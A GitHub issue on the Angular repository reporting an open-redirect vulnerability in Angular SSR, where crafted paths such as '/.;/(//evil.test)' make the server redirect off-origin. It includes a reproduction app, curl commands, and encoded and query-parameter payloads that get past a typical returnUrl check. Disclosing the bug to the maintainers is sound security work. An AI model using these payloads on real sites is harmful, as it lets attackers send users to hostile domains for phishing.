Title: Angular SSR pathname normalization can turn a same-origin navigation into an open redirect · Issue #71076 · angular/angular · GitHub
Open Graph Title: Angular SSR pathname normalization can turn a same-origin navigation into an open redirect · Issue #71076 · angular/angular
X Title: Angular SSR pathname normalization can turn a same-origin navigation into an open redirect · Issue #71076 · angular/angular
Description: Description A route whose path ends in a parameter and has children is enough for AngularNodeAppEngine to return a cross-origin redirect from the request path alone — no application redirectTo, no guard, no resolver, no X-Forwarded-* con...
Open Graph Description: Description A route whose path ends in a parameter and has children is enough for AngularNodeAppEngine to return a cross-origin redirect from the request path alone — no application redirectTo, no ...
X Description: Description A route whose path ends in a parameter and has children is enough for AngularNodeAppEngine to return a cross-origin redirect from the request path alone — no application redirectTo, no ...
Opengraph URL: https://github.com/angular/angular/issues/71076
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR pathname normalization can turn a same-origin navigation into an open redirect","articleBody":"### Description\n\nA route whose path ends in a parameter and has children is enough for `AngularNodeAppEngine` to return a cross-origin redirect from the request path alone — no application `redirectTo`, no guard, no resolver, no `X-Forwarded-*` control, no authentication:\n\n```text\nGET /.;/(//evil.test) -> 302 Location: //evil.test\n```\n\nA browser resolves `//evil.test` as protocol-relative and leaves the application's origin.\n\nThe Router serializes the navigation to `/.//evil.test`. That string starts with `/.`, not `//`, and resolves to the application's own origin, so neither guard in `ServerPlatformLocation.replaceState()` fires , but WHATWG normalization pops the preceding segment, leaving `pathname === '//evil.test'`.\n`@angular/ssr` then emits that pathname as the redirect target without normalizing it:\n\n```ts\nconst { pathname, search, hash } = envInjector.get(PlatformLocation);\n\nif (urlToRenderString !== finalUrl) {\n redirectTo = [pathname, search, hash].join(\"\");\n}\n```\n\nA pathname may legally begin with `//`, so nothing upstream is malformed. The comparison arm normalizes its inputs; the redirect arm does not.\n\n### Minimal Reproduction\n\n```ts\nimport { Component } from \"@angular/core\";\nimport { RouterOutlet, Routes } from \"@angular/router\";\n\n@Component({ imports: [RouterOutlet], template: \"\u003crouter-outlet />\" })\nexport class TenantLayout {}\n\n@Component({ template: \"tenant page\" })\nexport class TenantPage {}\n\nexport const routes: Routes = [\n {\n path: \":tenant\",\n component: TenantLayout,\n children: [{ path: \"**\", component: TenantPage }],\n },\n];\n```\n\n```bash\nnpm run build\nNG_ALLOWED_HOSTS=localhost PORT=4000 node dist/repro/server/server.mjs\n```\n\n```bash\nfor p in '/.;/(//evil.test)' '/xx;/(//evil.test)' '/acme'; do\n printf '%-22s ' \"$p\"\n curl -s -o /dev/null -w '%{http_code} %{redirect_url}\\n' --path-as-is \"http://localhost:4000$p\"\ndone\n```\n\n```text\n/.;/(//evil.test) 302 http://evil.test/\n/xx;/(//evil.test) 302 http://localhost:4000/xx//evil.test\n/acme 200\n```\n\nThe second line is the control: `.` replaced with `xx` removes the dot-segment pop and the redirect stays on the origin. `/.;/(/evil.test)` gives `location: /evil.test`, also same-origin , both the popping dot segment and the leading empty segment are required.\n\n\n### Minimal Reproduction\n\nSee https://github.com/SkyZeroZx/angular-ssr-router-open-redirect\n\n### Your Environment\n\n```text\n22.2.0\n```\n\n### Anything else relevant?\n\n**The canonical application-side mitigation does not stop it.** A `returnUrl` check requiring a relative, non-protocol-relative path accepts `/.;/(//evil.test)`, so an application that validated correctly still redirects off-origin:\n\n```ts\nexport const returnUrlGuard = (route: ActivatedRouteSnapshot) => {\n const target = route.queryParamMap.get(\"returnUrl\") ?? \"/\";\n if (!target.startsWith(\"/\") || target.startsWith(\"//\")) {\n return true;\n }\n return inject(Router).parseUrl(target);\n};\n```\n\nWith `{ path: \"login\", component: Login, canActivate: [returnUrlGuard] }` added to the config above:\n\n```text\n/login?returnUrl=%2F.%3B%2F(%2F%2Fevil.test) 302 location: //evil.test \u003c- accepted\n/login?returnUrl=https%3A%2F%2Fevil.test 200 no redirect \u003c- rejected\n/login?returnUrl=%2F%2Fevil.test 200 no redirect \u003c- rejected\n```\n\n`router.navigateByUrl(target)` behaves the same. This moves the payload into a query parameter, so the delivered link is `/login?returnUrl=...` rather than a visibly odd path. `search` is concatenated unchanged, so query parameters reach the redirect target.\n\n**Also reachable without a literal `.` or `//` in the request:** `GET /%2e;/(/\\evil.test)` returns `location: //evil.test`, since `%2e` is decoded and `\\` normalized after any inspection of the raw path.\n\n**Affected shapes:** a parameter route with children, plain or lazy, whose descendants can match a two-segment group, at URL depth ≤ 2. Childless parameter routes, children without a `**`, a `**` child using `redirectTo`.","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-09-30T04:50:22Z","url":"https://github.com/angular/angular/issues/71076"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:265f6023-6210-1102-5e7d-32fe5cf805a2 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | D146:3458B4:D6B6:123A7:6AFDC9BA |
| html-safe-nonce | becb8a6a6540bb811b28c3a5def011b74ddd0327f62fb992811362e2b32ea177 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEMTQ2OjM0NThCNDpENkI2OjEyM0E3OjZBRkRDOUJBIiwidmlzaXRvcl9pZCI6IjExNjc0Mjk4NzU4NjI5ODEwNTAiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 7441e2b66da269a9ad04ad1d97d1dbf6b7f7bf6f5e35bded98437c8ee79d9ab7 |
| hovercard-subject-tag | issue:5643357465 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/71076/issue_layout |
| twitter:image | https://opengraph.githubassets.com/9791a3710f1e21e361448d633b6f139c00bce101333ffeb27b96498f56ea7dbd/angular/angular/issues/71076 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/9791a3710f1e21e361448d633b6f139c00bce101333ffeb27b96498f56ea7dbd/angular/angular/issues/71076 |
| og:image:alt | Description A route whose path ends in a parameter and has children is enough for AngularNodeAppEngine to return a cross-origin redirect from the request path alone — no application redirectTo, no ... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | SkyZeroZx |
| hostname | github.com |
| expected-hostname | github.com |
| None | 9ab00cc3b4fa90bbd3da70765dd38efc23cfa9d9b0930e41feea2bf67f60ecaf |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular git https://github.com/angular/angular.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 24195339 |
| octolytics-dimension-repository_nwo | angular/angular |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 24195339 |
| octolytics-dimension-repository_network_root_nwo | angular/angular |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 1b795ba060b92691fc16c5a12cf2bf95e83432b4 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width